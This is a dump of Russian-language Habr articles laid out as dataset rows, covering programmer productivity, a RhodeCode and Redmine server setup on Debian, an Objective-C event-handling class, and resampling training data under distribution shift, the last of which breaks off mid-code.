text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# 12 факторов, которые мешают работать программистам
Никто не станет требовать от разработчика, чтобы он писал код без доступа к компьютеру, но многие компании считают, что он каким-то образом должен работать без возможности полностью задействовать свои мыслительные возможности. А это примерно настолько же нереально.
И поэтому давайте пройдемся по списку из двенадцати вещей, которые не позволяют разработчикам войти в состояние потока и выдать максимальную продуктивность. Я постараюсь двигаться от самых ключевых вещей к менее существенным. Предлагайте свои варианты и замечания!
Если же кто-то сомневается, стоит ли тратить на это деньги и силы, достаточно вспомнить, сколько программистам платят. Даже прирост производительности в 10% — это немало в денежном эквиваленте!
#### 1) Совещания и прочие отвлекающие факторы
На мой взгляд, отвлекать разработчика — самый верный способ убить его продуктивность на корню. Он не может просто взять и продолжить с того места, где его прервали. Ему нужно сначала снова включиться в процесс, а потом еще пройти всю цепочку размышлений до нужного момента — одно это может занять полчаса и больше. И чем больше случается таких перерывов, тем больше копится раздражение, тем ниже становится качество работы, тем чаще появляются баги, и этот список можно еще продолжать.
> «Чем чаще меня отвлекают, когда я пытаюсь приступить к задаче, тем больше времени начинает проходить между попытками. Если меня дергают все утро, нечего удивляться, что день получился непродуктивный» — Анонимный разработчик с Reddit
Ну а совещания? Единственное их отличие от других отвлекающих факторов заключается в том, что они планируются заранее. И это делает ситуацию только хуже. Программисту сложно продвинуться в решении задачи, если он заранее ожидает перебоя в работе. Поэтому если через час-другой ему предстоит идти на планерку, скорее всего он не сможет сделать ничего существенного ни для одного из своих проектов — ведь большая часть инженерных задач занимает больше времени.
Как говорил Пол Грэхэм: «Одно совещание может убить полдня: время разбивается на два периода, за которые ничего серьезного сделать не успеешь».
Как избежать такого положения дел? На этот счет все уже давно расписано, так что оправданий нет. Нужно просто ставить планерки на самом начало дня или, допустим, сразу перед обедом, чтобы без необходимости не отвлекать людей от работы.
#### 2) Придирки к мелочам
Из всех разновидностей менеджеров те, кто вмешивается по любому поводу, пожалуй, хуже всего влияют на продуктивность сотрудников. Конечно, тут сказывается и то, что именно этот тип особенно склонен организовывать кучу совещаний и требовать внимания разработчиков по непредвиденным поводам. Но дело не только в этом. Такие действия показывают недостаток доверия, и итоге у людей появляется чувство, что их считают ни на что не способными и ставят под вопрос их профессиональные умения. Даже если у программиста еще и осталась какая-то мотивация работать несмотря на бесконечные перерывы, такое отношение отобьет ее напрочь. Последствия не ограничиваются одним падением производительности. Назойливые менеджеры особенно часто вынуждают сотрудников уйти из компании или, как минимум, из команды.
#### 3) Неясность
Недостаточную ясность можно проиллюстрировать множеством разных примеров. Например, баг репорт в духе «Тут не работает, почините!» явно не дает разработчикам всю необходимую для работы информацию. Кстати, в этом конкретном случае может помочь введение шаблона для отчетов о багах.
Или другой случай: расплывчатые требования для какой-то части продукта. При таких вводных разработчики просто начинают делать так, как сами себе все это представляют, а потом приходит менеджер с более детальным описанием ожидаемого пользовательского поведения, и им все приходится начинать сначала.
К этой же категории относятся и невнятно расставленные приоритеты. Программисты тратят уйму времени, ломая голову, с чего им лучше было бы начать, хотя избежать этого было бы очень просто. Ну а если уж им когда-нибудь придется отчитываться перед менеджером, почему они занимаются тем, а не этим (при том, что порядок никто не оговаривал), можете не сомневаться, их это здорово выбесит.
#### 4) Менеджеры-чайки
Слышали когда-нибудь о таком? Бывают менеджеры, которые вообще не участвуют в рабочем процессе… за исключением тех моментов, когда вдруг решают спикировать на кого-нибудь и все обгадить. «Это никуда не годится, и это тоже, а это совсем не смотрится,» — и полетели дальше. Должен признать, сравнение мне нравится, но вот стоящее за ним явление встречается куда чаще, чем хотелось бы. Такое поведение сказывается на разработчиках очень плохо: многим приходится после этого часами вырабатывать рабочий настрой, а кто-то выпадает из потока на целые дни.
#### 5) Кража лавров
Случалось ли с вами такое, что кто-то из менеджеров или других программистов приписывал себе в заслуги то, над чем вы бились несколько недель? Разработчики ставят свой профессионализм превыше всего. Воровать чужие заслуги — это все равно что отказывать человеку в компетентности, чтобы раздуть свою собственную. Я поставил этот пункт достаточно высоко потому, что считаю, что такие вещи приводят к очень напряженной обстановке, которая может на долгое время «уронить» производительность всей команды.
#### 6) Обстановка: шум, движение, дизайн рабочего пространства…
Может, людям из других профессий это покажется странным, но для программистов окружающая обстановка многое решает в ходе работы. Скажем, белый шум — жужжание кондиционера, доносящийся гул машин и грузовиков с улицы — помогает им лучше сосредоточиться. Именно поэтому многие из нас работают в наушниках! Я вот, кстати, недавно открыл для себя RainyMood — отличная вещь!
Вместе с тем, если офис спроектирован так, что вокруг человека постоянно какое-то движение, то это будет оказывать противоположное действие. А если к тому же мониторы стоят так, что менеджеры постоянно видят то, что на экране, это создает и лишний стресс, и лишние поводы отвлекать разработчиков от дела.
#### 7) Смещение границ проекта
В управление проектами этот термин используют для ситуаций, когда объемы проекта неконтролируемо растут. Такое обычно случается, когда изначально они не были строго определены и задокументированы или же не отслеживались в процессе.
Из-за смещения границ относительно простые запросы разрастаются в замороченных чудищ, которые отъедают кучу времени! И в большинстве случаев начинается это тогда, когда продукт уже в разработке.
Возьмем для примера простую функцию:
* Первая версия (до реализации): функция определена как «Отображать карту локации»
* Вторая версия (когда первая итерация уже почти закончена): описание меняется на «Отображать 3D карту локации»
* Третья версия (когда вторая итерация уже почти закончена): описание меняется на «Отображать 3D карту локации, по которой пользователь мог бы передвигаться»
#### 8) Процесс определения возможностей продукта
Это может показаться непонятным на первый взгляд, но на самом деле, все просто. Если люди, отвечающие за продукт, выстраивают приоритеты, не проверяя свои гипотезы (через обратную связь или любым другим способом) об интересе аудитории к тем или иным возможностям, и разработчики видят, что эти возможности попросту не используются, то у них появится ощущение, что их работа не имеет смысла, и мотивация порушится. Мы все хотим чувствовать, что оставляем какой-то след в мире, а для разработчиков это особенно важно!
#### 9) Игнорирование технического долга
Технический долг — это осознаное решение допустить определенные натяжки в выборе решений и написании кода, чтобы выкатить продукт побыстрее. Какой-то объем технического долга возникает в любом проекте неизбежно и может помочь со сроками на коротких дистанциях. Однако в долгосрочной перспективе он повышает сложность системы и тем самым замедляет разработчиков. Далекие от программирования люди зачастую недооценивают влияние этих процессов на производительность и требуют двигаться вперед без остановок — при таком раскладе начинают возникать проблемы. Если рефакторинг всегда остается вне списка приоритетов, страдать будет не только продуктивность сотрудников, но и качество продукта.
#### 10) Разнообразие инструментов и аппаратуры
Разработчики ежедневно используют множество инструментов для написания, пуша и слияния кода. Чем сильнее им удается автоматизировать процессы, тем лучше. Само собой разумеется, что древние инструменты будут оказывать прямое влияние на уровень производительности. Также многое решает и то, на чем ведется работа — на одном ноутбуке или еще и на дополнительном экране. Если сопоставить цены на железо с зарплатами программистов, то даже 5% роста продуктивности определенно окупит все затраты! Нужно просто предоставить команде ту аппаратуру и инструменты, которыми они предпочитают пользоваться (для аппаратуры решение должно быть индивидуальным, для инструментов — коллективным).
#### 11) Документация в стиле «как»
В процессе обучения программированию мы все усвоили, что комментарии к коду нужно начинать добавлять как можно раньше и как можно чаще. Идея состояла в том, что лучше пусть комментариев будет слишком много, чем недостаточно. К сожалению, многие поняли это превратно и решили, что в пояснениях нуждается каждая строка. Потому-то мы имеем образчики вроде вот такого вот, из [статьи](https://blog.codinghorror.com/coding-without-comments/) Джеффа Этвуда «Код без комментариев»:
`r = n / 2; // Set r to n divided by 2
// Loop while r — (n/r) is greater than t while ( abs( r — (n/r) ) > t ) { r = 0.5 * ( r + (n/r) ); // Set r to half of r + (n/r)
}`
Вы поняли, что вообще делает это код? Вот и я ничего не понял. Проблема в том, что здесь очень много говорится о том, как все работает, но ни слова о том, зачем это нужно. Если предположить, что в программе возник баг и вы обнаружили под капотом такой фрагмент кода, он ничем бы вам не помог разобраться в ситуации.
#### 12) Крайне сжатые сроки
Последний пункт завязан на тенденции менеджеров просить разработчиков примерно оценить, сколько времени им потребуется, затем давить на них, чтобы занизили эту оценку, а потом волшебным образом приравнивать итоговую дату к дедлайну! При этом менеджеры полагают даже, что раз уж разработчики «сами установили сроки», значит, подписались на соответствующий дедлайн и его следует считать окончательно утвержденным вариантом, который можно передавать высшему руководству.
Разработчики же считают, что подобный дедлайн — полное безумие и уложиться в него невозможно; в команде возникает разлад и никто не может сосредоточиться.
#### Но разве это только про разработчиков?
Если окинуть взглядом все эти 12 пунктов, можно заметить, что они, по большей части, актуальны для всех, кто задействован в проектах. Просто в случае программистов они особенно критичны, так как их работа требует глубокого погружения в процесс.
Если вы заметили, что какие-то из приведенных пунктов характерны и для вашей компании, было бы неплохо пройтись по этому списку вместе с командной разработчиков, выстроить с ними диалог, узнать, где возникают проблемы и как лучше их решать. Что бы они ни говорили, крайне важно всерьез отнестись к этой обратной связи и замечаниям. За последние тридцать в плане технологий много что поменялось, но базовый принцип командной работы остается прежним: рассуждая о производительности, необходимо учитывать человеческий фактор. Совершенствуйте рабочие процессы, обстановку, привычки команды и дайте им возможность подсказать вам, как добиться максимальной продуктивности. | https://habr.com/ru/post/428293/ | null | ru | null |
# Rhodecode + Redmine — недорогая и функциональная замена хостингу программных проектов на стороне
#### Введение
Встречаются предприятия, на которых доступ к интернету сильно ограничен или не постоянен, не завидую этим ребятам. Иногда, как в моём случае, политика безопасности предприятия не позволяет хранить исходный код разрабатываемых продуктов на чужом оборудовании. Кроме того, смею предположить, что не каждой группе разработчиков хватает возможностей, предоставляемых например [bitbucket](http://bitbucket.org). Эти проблемы можно решить, к примеру, связкой [RhodeCode](http://www.rhodecode.org/) и [Redmine](http://www.redmine.org/).
#### Цели
* Создание, изменение, удаление репозиториев Mercurial, используя web интерфейс.
* Добавление и удаление пользователей, разграничение доступа, смена паролей, используя web интерфейс.
* Отслеживание ошибок и распределение задач, используя web интерфейс.
* https повсеместно.
#### Используемые продукты
После недолгих размышлений и на основании некоторого опыта был определен набор средств для достижения поставленных целей:
1. Контроль версий — [Mercurial](http://mercurial.selenic.com/)
2. Управление проектами — [Redmine](http://www.redmine.org/)
3. Управления репозиториями системы контроля версий — [RhodeCode](http://www.rhodecode.org/)
4. Ну а заведется все это на [Debian](http://www.debian.org/)
#### Шаг 0: установим debian(или ubuntu)
Все нижеописанное проделывалось на debian squezee в базовой установке.
На ubuntu (10.04 LTS) должно быть без изменений, так как пакетная база у них схожа.
#### Шаг 1: установим RhodeCode
Установим необходимые пакеты для работы easy\_install и virtualenv:
`aptitude install python-setuptools python-dev python-virtualenv`
Используя virtualenv, создадим новую виртуальную среду:
`virtualenv --no-site-packages /var/www/rhodecode-venv`
В каталоге /var/www/rhodecode-venv будет создано новое виртуальное окружение.
Активируем виртуальное окружение командой:
`source /var/www/rhodecode-venv/bin/activate`
Создадим каталог для rhodecode, например:
`mkdir /var/www/rhodecode; cd /var/www/rhodecode`
Чтобы установить RhodeCode, выполним следующую команду:
`easy_install rhodecode`
На этом этапе скрипт easy\_install установит все необходимые зависимости для RhodeCode в виртуальное окружение, в их числе последняя стабильная версия mercurial.
#### Шаг 2: настройка RhodeCode
Создадим файл конфигурации RhodeCode:
`paster make-config RhodeCode production.ini`
Этот файл конфигурации содержит различные настройки для RhodeCode, например, порт прокси-сервера, электронную почту, использование статических файлов, кэша, настройки celery и логгирования. По умолчанию используется SQLite в качестве базы данных.
Создадим базу данных, выполнив следующую команду:
`paster setup-app production.ini`
На запрос скрипта введем путь до каталога, где RhodeCode разместит базу данных:
`/var/www/rhodecode/`
Далее введем имя пользователя, пароль и электронную почту учетной записи администратора приложения. Команда создания базы данных создаст все необходимые таблицы и учетную запись администратора.
Для нашей конфигурации необходимо добавить следующие строки в production.ini:
1) в секцию [app:main]:
```
filter-with = proxy-prefix
force_https = true
```
2) в конец файла:
```
[filter:proxy-prefix]
use = egg:PasteDeploy#prefix
prefix = /hg
```
Покинем виртуальное окружение:
`deactivate`
Создадим скрипт запуска /etc/init.d/rhodecode-daemon:
```
#!/bin/sh -e
########################################
#### THIS IS A DEBIAN INIT.D SCRIPT ####
########################################
### BEGIN INIT INFO
# Provides: rhodecode
# Required-Start: $all
# Required-Stop: $all
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: starts instance of rhodecode
# Description: starts instance of rhodecode using start-stop-daemon
### END INIT INFO
APP_NAME="rhodecode"
APP_HOMEDIR="/var/www"
APP_PATH="$APP_HOMEDIR/$APP_NAME"
CONF_NAME="production.ini"
PID_PATH="$APP_PATH/$APP_NAME.pid"
LOG_PATH="$APP_PATH/$APP_NAME.log"
PYTHON_PATH="/var/www/rhodecode-venv"
RUN_AS="www-data"
DAEMON="$PYTHON_PATH/bin/paster"
DAEMON_OPTS="serve --daemon \
--user=$RUN_AS \
--group=$RUN_AS \
--pid-file=$PID_PATH \
--log-file=$LOG_PATH $APP_PATH/$CONF_NAME"
start() {
echo "Starting $APP_NAME"
PYTHON_EGG_CACHE="/tmp" start-stop-daemon -d $APP_PATH \
--start --quiet \
--pidfile $PID_PATH \
--user $RUN_AS \
--exec $DAEMON -- $DAEMON_OPTS
}
stop() {
echo "Stopping $APP_NAME"
start-stop-daemon -d $APP_PATH \
--stop --quiet \
--pidfile $PID_PATH || echo "$APP_NAME - Not running!"
if [ -f $PID_PATH ]; then
rm $PID_PATH
fi
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
echo "Restarting $APP_NAME"
### stop ###
stop
wait
### start ###
start
;;
*)
echo "Usage: $0 {start|stop|restart}"
exit 1
esac
```
Назначим необходимые права доступа:
```
chmod a+x /etc/init.d/rhodecode-daemon
chown www-data:www-data -R /var/www/rhodecode
```
Для автоматического запуска скрипта выполним:
`insserv rhodecode-daemon`
#### Шаг 3: установка redmine
В squeeze-backports версия redmine поновее, установим её.
Включим в /etc/apt/sources.list:
````
deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free
````
Выполним в консоли:
```
aptitude update
aptitude -t squeeze-backports install redmine mercurial
```
В процессе установки отобразится диалог выбора базы данных. Я предпочел sqlite, сделайте свой выбор.
Создадим ссылку в директории /var/www:
```
ln -s /usr/share/redmine/public /var/www/redmine
chown -R www-data:www-data /var/www/redmine
```
#### Шаг 4: настройка apache
Установим apache mod passenger для запуска redmine:
`aptitude install libapache2-mod-passenger`
Создадим закрытый ключ и сертификат:
`openssl req -new -x509 -days 355 -keyout your.domain.ru.key -out your.domain.ru.pem`
Common Name следует указать в точности такой, как и доменное имя Вашего сервера.
Удалим пароль:
```
cp your.domain.ru.key your.domain.ru.key.orig
openssl rsa -in your.domain.ru.key.orig -out your.domain.ru.key
rm your.domain.ru.key.orig
```
Скопируем в /etc/ssl:
`cp your.domain.ru.pem /etc/ssl/certs/; cp your.domain.ru.key /etc/ssl/private/`
Включим необходимые модули:
```
a2enmod ssl
a2enmod proxy
a2enmod proxy_http
```
В файле /etc/apache2/sites-available/default-ssl заменим:
```
SSLCertificateFile /etc/ssl/certs/your.domain.ru.pem
SSLCertificateKeyFile /etc/ssl/private/your.domain.ru.key
```
Впишем в основную секцию(VirtualHost) этого же файла строки:
1) для redmine:
`RailsBaseURI /redmine`
2) для rhodecode:
````
ProxyPass http://127.0.0.1:5000/hg
ProxyPassReverse http://127.0.0.1:5000/hg
SetEnvIf X-Url-Scheme https HTTPS=1
````
Заменим содержимое файла /etc/apache2/sites-available/default на:
````
ServerName your.domain.ru
Redirect permanent / https://your.domain.ru/
````
Подключим конфигурацию default-ssl:
`a2ensite default-ssl`
Запустим rhodecode:
`service rhodecode-daemon start`
Перезапустим apache:
`service apache2 restart`
#### Результат
RhodeCode доступен по адресу:
```
https://your.domain.ru/hg пароль установлен на 2 шаге
```
Redmine доступен по адресу:
```
https://your.domain.ru/redmine администратор admin, пароль admin
```
Принудительный https везде.
#### Список используемой литературы
1. [HowTo Install Redmine using Debian package.](http://www.redmine.org/projects/redmine/wiki/HowTo_Install_Redmine_using_Debian_package)
2. [RhodeCode 1.3.3 documentation. Installation.](http://packages.python.org/RhodeCode/installation.html)
3. [RhodeCode 1.3.3 documentation. Setup.](http://packages.python.org/RhodeCode/setup.html#setup)
4. [Простой способ настроить Apache для работы по HTTPS в Debian.](http://plashc.livejournal.com/630.html)
**UPD:** Для исправления ошибки интеграции Redmine с созданным в Rhodecode репозиторием установите версию mercurial(2.0.1) из squezee-backports:
```
aptitude -t squeeze-backports install mercurial
``` | https://habr.com/ru/post/140917/ | null | ru | null |
# Objective C. Практика. События
Событийно-ориентированная логика в Objective C держится на трех китах — протоколы, notification center и key-value observing. Традиционо протоколы используются для расширения функционала базовых классов без наследования, key-value observing – для взаимодействия между визуальной и логической частью приложения, а notification center — для обработкий событий пользователя.
Естественно, все это благообразие можно спокойно использовать для построения сложных приложений. Никакой реальной необходимости в изобретении собственных велосипедов, конечно же, нет. Однако мне, как человеку пришедшему в разработку Objective C приложений из мира .NET, показалось очень неприятным то, что notification center, который я планировал использовать для событий, разраывает стек приложения, записывая произошедшее событие в очередь в UI thread, а протоколы в классическом представлении не слишком удобны, посему для удобства я решил соорудить себе механизм, который был бы гораздо больше похож на то, чем мы привыкли обходиться в мире .NET. Так родился родилась идея реализации модели множественных подписантов через специальный класс, названный AWHandlersList.
Данная статья рассчитана на программистов, которые имеют определенный опыт в создании приложений на Objective C и уже писали подобные велосипеды, либо решали похожие задачи стандартными способами. Данный вариант не является silver bullet, но показал себя как удобный механизм, минимизирующий написание кода для обарботки множеств событий с разными интерфейсами и параметрами.
Идея класса довольно проста — он содержит в себе список подписантов, каждый элемент которого состоит из двух компонентов — target и selector.
Для чего создан этот велосипед? Мне показалось, что он удобнее, чем все представленные стандартные модели, для некоторой логики, связанной с передачей событий. Может быть, он кому-то поможет облегчить жизнь.
В .NET привычная модель событийной логики предлагает делегат с двумя параметрами — sender типа object и args типа, наследуемого от EventArgs. Чтобы не ломать себе мозг, сделаем то же самое. Для начала, определим пустой класс EventArgs, от которого будут наследоваться все аргументы событий.
```
@interface AWEventArgs : NSObject
@end
```
Теперь определим класс, который будет содержать пару «целевой объект и вызываемый метод», добавив туда заодно некоторую отладочную информацию для того, чтобы в дальнейшем можно было легко отлаживать логику событий.
```
@interface AWEventHandler : NSObject
{
@private
NSString *_description;
}
@property (nonatomic, assign) id target;
@property (nonatomic, assign) SEL method;
+(AWEventHandler *)handlerWithTarget:(id)target method:(SEL)method;
@end
@implementation AWEventHandler
@synthesize method, target;
-(id)initWithTarget:(id)t method:(SEL)m;
{
self = [super init];
if(self)
{
target = t;
method = m;
_description = [[NSString alloc] initWithFormat:@"EventHandler, Target=%@, Method=%@", NSStringFromClass([target class]), NSStringFromSelector(method)];
}
return self;
}
-(NSString *)description
{
return _description;
}
-(void)dealloc
{
[_description release];
[super dealloc];
}
+(AWEventHandler *)handlerWithTarget:(id)target method:(SEL)method
{
AWEventHandler *handler = [[[AWEventHandler alloc] initWithTarget:target method:method] autorelease];
return handler;
}
@end
```
Как видите, и target, и method по сути представляют собой слабые ссылки. Это вполне закономерно — слабые ссылки повсеместно используются в мире Objective C для того, чтобы избежть circular references и дать возможность автоматически освобождать объекты. К сожалению, это приводит к тому, что при небрежном кодировании повсеместно появляются «мертвые» указатели на объекты, которые роняют приложение, поэтому я чуть дальше покажу один красивый механизм, который позволяет предупреждать и устранять их появление.
Теперь, наконец, перейдем к нашему основному классу — списку подписантов. В коде есть нетривиальные моменты, но они решаются чтением документации, а если желания разбираться в вопросе нет — то его можно просто использовать, код полностью рабочий и вынут из «боевого» проекта.
```
@interface AWEventHandlersList : NSObject
{
NSMutableArray *_handlers;
}
@property (nonatomic, copy) NSString *name;
-(void)addReceiver:(id)receiver delegate:(SEL)delegate;
-(void)removeReceiver:(id)receiver delegate:(SEL)delegate;
-(void)clearReceivers;
-(void)invoke;
-(void)invokeWithSender:(id)sender;
-(void)invokeWithSender:(id)sender args:(AWEventArgs *)event;
@property (nonatomic, retain) NSRunLoop *runLoop;
@end
```
Вкратце поясню, зачем нужны поля данного класса.
Первое — это name. Я предпочитаю именовать события, чтобы можно было увидеть в логах, какое именно событие было вызвано. Обычно в качестве имени события я использую имя класса вкупе с именем вызываемого в нем для выбрасывания (raise) метода. Это удобная практика, так как позволяет не рыскать судорожно по стеку в поисках того, кто событие выбросил, а просто в консоли отладки посмотреть это значение.
Методы `addReceiver` и `removeRecevier` логичны — они принимают объект и селектор, которые в дальнейшем будут принимать вызовы.
Методы `invoke` должны выбрасывать событие, передавая его для обработки в подписанные объекты. Они даются в трех вариантах — для того, чтобы не передавать пустые значения nil в том случае, если в каикх-то параметрах события нет нужды.
Метод `clearReceivers` внутренний, его лучше определять в анонимной секции, так как вызывающий код не должен иметь возможности отписывать другие объекты от событий, но исторически сложилось так, что он вынесен в интерфейс. Это легко исправить, если вам кажется это неправильным.
Наконец, свойство `runLoop` необходимо в том случае, если вы собираетесь делать так, чтобы некоторые события были привязаны к определенному потоку (thread). Например, это необходимо, если существует какой-то код в worker thread должен обновлять визуальную часть приложения, либо наоборот — из UI thread должен быть доступ к какому-либо worker thread, синхронизируемому через очередь сообщений, то есть если есть необходимость выбрасывать события и обрабатывать их в разных потоках.
Реализация класса идейно тривиальна, однако требует некоторого понимания того, как работают селекторы. Сложные моменты я проясню в комментариях в самом коде.
```
@implementation AWEventHandlersList
@synthesize runLoop = _runLoop;
@synthesize name = _name;
-(id)init
{
self = [super init];
if(!self)
return nil;
_handlers = [[NSMutableArray alloc] init];
return self;
}
-(void)addReceiver:(id)receiver delegate:(SEL)delegate
{
/* Этот код можно убрать, если вы гарантируете, что каждый объект будет подписываться на событие только один раз, либо
* вам необходимо множественное подписание. Я предпочитаю работать со страховкой */
[self removeReceiver:receiver delegate:delegate];
[_handlers addObject:[AWEventHandler handlerWithTarget:receiver method:delegate]];
}
-(void)removeReceiver:(id)receiver delegate:(SEL)delegate
{
/* В идеале снятие копии со списка, сделанное для поддержки многопоточности, должно производитсья в критической секции
* (NSLock), однако я опустил этот момент, как как у меня подписание на события всегда происходит в одном потоке,
* а копия списка берется для того, чтобы в будущем достаточно было обернуть вызов в NSLock */
for(AWEventHandler *handler in [[_handlers copy] autorelease])
if(handler.method == delegate && handler.target == receiver)
[_handlers removeObject:handler];
}
-(void)clearReceivers
{
[_handlers removeAllObjects];
}
-(void)invoke
{
[self invokeWithSender:nil args:nil];
}
-(void)invokeWithSender:(id)sender
{
[self invokeWithSender:sender args:nil];
}
-(void)invokeWithSender:(id)sender args:(AWEventArgs *)event
{
[self invokeWithSender:sender args:event runLoop:_runLoop];
}
-(void)invokeWithSender:(id)sender args:(AWEventArgs *)event runLoop:(NSRunLoop *)runLoop
{
/* Вс случае, если к текущему потоку не привязан цикл выборки сообщений, метод вернет null и выполнеие будет
* происходить по обычному сценарию */
if(!runLoop)
runLoop = [NSRunLoop currentRunLoop];
NSUInteger order = 1;
NSArray *handlersCopy = [NSArray arrayWithArray:_handlers];
for(AWEventHandler *handler in handlersCopy)
if(runLoop == [NSRunLoop currentRunLoop])
[self internalInvoke:[NSArray arrayWithObjects:handler, sender == nil ? [NSNull null] : sender, event == nil ? [NSNull null] : event, nil]];
else
[runLoop performSelector:@selector(internalInvoke:) target:self argument:[NSArray arrayWithObjects:handler, sender == nil ? [NSNull null] : sender, event == nil ? [NSNull null] : event, nil] order:order++ modes:[NSArray arrayWithObject:NSDefaultRunLoopMode]];
}
/* Передача объектов производится через массив для возможности работы с потоками через performSelector:target:argument:order:modes: */
-(void)internalInvoke:(NSArray *)data
{
AWEventHandler *handler = [data objectAtIndex:0];
id sender = [data objectAtIndex:1];
if(sender == [NSNull null])
sender = nil;
id args = [data objectAtIndex:2];
if(args == [NSNull null])
args = nil;
/* Данный класс используется для анализа сигнатуры метода и определения потребного числа параметров его вызова */
NSMethodSignature *mSig = [handler.target methodSignatureForSelector:handler.method];
if([mSig numberOfArguments] == 2)
[handler.target performSelector:handler.method];
else if([mSig numberOfArguments] == 3)
[handler.target performSelector:handler.method withObject:sender];
else if ([mSig numberOfArguments] == 4)
[handler.target performSelector:handler.method withObject:sender withObject:args];
else
@throw [NSException exceptionWithName:@"Invalid selector type" reason:@"This type of selector is not supported" userInfo:nil];
}
-(void)dealloc
{
self.name = nil;
[self clearReceivers];
[_handlers release];
[super dealloc];
}
@end
```
Теперь определим пару вспомогательных макросов, которые дадут нам возможность встраивать логику работы с событиями в класс буквально двумя строчками.
```
#define DEFINE_EVENT(eventName) \
-(void)add ## eventName ## Handler:(id)receiver action:(SEL)action; \
-(void)remove ## eventName ## Handler:(id)receiver action:(SEL)action
#define DEFINE_EVENT_IMPL(eventName, innerVariable) \
-(void)add ## eventName ## Handler:(id)receiver action:(SEL)action \
{ \
[innerVariable addReceiver:receiver delegate:action]; \
} \
\
-(void)remove ## eventName ## Handler:(id)receiver action:(SEL)action \
{ \
[innerVariable removeReceiver:receiver delegate:action] ; \
} \
```
Теперь для того, чтобы создать в классе событие, нужно определить внутреннюю списочную переменную:
```
AWEventHandlersList *_handlers;
```
Определить событие в интерфейсе
```
DEFINE_EVENT(Event);
```
И связать список с событием
```
DEFINE_EVENT_IMPL(Event, _handlers)
```
В классе автоматически добавляются два метода — `addEventHandler:action:` и `removeEventHandler:action:`, а вызвать событие можно через методы `invoke` объекта `_handlers`.
Конечно, не стоит забывать о том, что объект \_handlers нужно инициализировать в конструкторе
```
_handlers = [AWEventHandlersList new];
```
И уничтожать в деструкторе объекта
```
[_handlers release];
```
Во второй части статьи я расскажу, к каким проблемам ведет использование этого подхода и как справляться с трудностями «мертвых» ссылок, которые возникают в любом мало-мальски объемном приложении в результате наших собственных ошибок. | https://habr.com/ru/post/168179/ | null | ru | null |
# Формируем тренировочный сэмпл данных при distribution shift
Дисклеймер: статья является переведенным продуктом автора [Max’a Halforda](https://maxhalford.github.io/blog/subsampling-1/). Перевод не чистый, а адаптивный. Такой, чтобы было понимание на любом рубеже знаний.
*«Мои друзья и я недавно прошли квалификацию в финал [Data Science Game](https://datasciencegame.com) 2017. Первой частью соревнований был Kaggle с датасетом от компании Deezer(1). Проблема состояла в решении задачи бинарной классификации: нужно было предсказать, собирается ли пользователь перейти к прослушиванию предложенной ему композиции.
Как и другие команды мы извлекли релевантные признаки и обучили XGBoost(2) классификатор. Однако, мы сделали особенную вещь — подвыборку обучающего набора данных, такую, что он (обучающий набор) стал более репрезентативен для тестового набора.»*
Одним из базовых требований к процессу обучения для успешной работы машинной модели является одинаковая природа распределений в тренировочном и тестовом наборах данных. Как грубый пример: модель обучена на пользователях 20-тилетнего возраста, а в тестовой выборке пользователи 60+ лет.
Здесь интуитивно естественно, что с возрастом, на котором модель не обучалась, она и не справится. Конечно, такой пример сугубо синтетический, но в реальности для весомых различий достаточно обучить модель на 20+ и попробовать заставить работать на 30+. Результат будет аналогичен.
Так происходит, потому что модели изучают распределения(3) данных. Если распределения признака в обучающем и тестовом наборе совпадают, модель скажет вам «спасибо».
**Вставка переводчика:** *когда я села за перевод у меня возник вопрос: **зачем обучение подгонять под тест,** ведь, по сути**, тест отражает невидимые данные, которые будут поступать модели на вход в продакшене.** Потом я проспалась, перечитала, и всё прошло. Фишка в том, что под влиянием факторов ретроспектива может стать нерелевантной для настоящего времени. Об этом далее (пример чуток переадаптирован).*
Смещение в распределениях по одной фиче может происходить по разным причинам. Наиболее интуитивный пример можно позаимствовать у Facebook.
Допустим, у компании была обучена модель, которая основывалась на такой фиче (фича то же самое, что признак), как времяпрепровождение в минутах. Пусть она синтетически предсказывала уровень лояльности пользователя по десятибальной шкале.
Когда произошло разделение общего приложения Facebook на основную социальную сеть (ленту etc) и систему обмена сообщениями, время в основном приложении уменьшилось, то есть входящие наборы данных поменялись и уже не соответствовали прошлой ретроспективе.
Математически, учитывая фичу времени модель станет предсказывать более низкий уровень лояльности, хотя в реальности это не так — перенос времени просто разделился на два приложения. Печально выходит.
Таким образом, искажение (distribution shift) возникает, когда распределение ретроспективных данных становится неактуальными для предсказания новых.
В датасете компании Deezer несоответствие распределений было в признаке, измеряющем количество прослушанных песен до момента решения задачи предсказания. И в общучающем, и в тестовом наборах данных данная фича имела экспоненциальное(4) распределение. Однако в тестовом наборе данных оно было более выражено, поэтому среднее в тренировочном сете было ниже, чем в тестовом. После ресемплинга тренировочного распределения удалось повысить метрику ROC-AUC(5) и подняться по рейтинга примерно на 20 пунктов.
Ниже приведен пример разницы распределений:
```
import numpy as np
import plotly.figure_factory as ff
train = np.random.exponential(2, size=100000)
test = np.random.exponential(1, size=10000)
distplot = ff.create_distplot([train, test], ['Train', 'Test'], bin_size=0.5)
distplot.update_layout(title_text='Распределения Test, Train')
```
""
Идея нивелирования distribution shift состоит в том, чтобы переформировать обучающий сэмпл так, чтобы он отражал тестовое распределение.
Давайте представим, что мы хотим создать подвыборку размером 50 000 наблюдений из нашего обучающего набора, чтобы она соответствовала распределению тестового. Что хочется сделать интуитивно?
Сделать так, чтобы объекты, чаще встречающиеся в тестовом наборе данных также часто встречались и в обучающем! Но как определить, какие объекты нужны более, а какие менее часто?
Весами!
Шаги действий будут примерно такие:
* поделить числовую прямую распределения на равные интервалы (или корзины (bins)
* посчитать количество объектов в каждой корзине (bin size)
* для каждого наблюдения в корзине рассчитать его вес равный 1/(bin size)
* создать подвыборку k с распределением, учитывающим веса (объекты с более высоким весом станут появляться в подвыборке чаще)
Перекладывая на код, мы производим следующие действия:
```
SAMPLE_SIZE = 50000
N_BINS = 300
# Задаем частоту корзин, иначе говоря получаем перцентили распределения тестового массива.
# Каждое значение полученное значение будет границей интервала корзины
step = 100 / N_BINS
test_percentiles = [
np.percentile(test, q, axis=0)
for q in np.arange(start=step, stop=100, step=step)
]
# Присваиваем каждой коризне набор объектов.
# Функция возвращает индекс корзины, в которое входит значение
train_bins = np.digitize(train, test_percentiles)
# Считаем количество объектов в каждой корзине или сколько индекс i из входного массива,
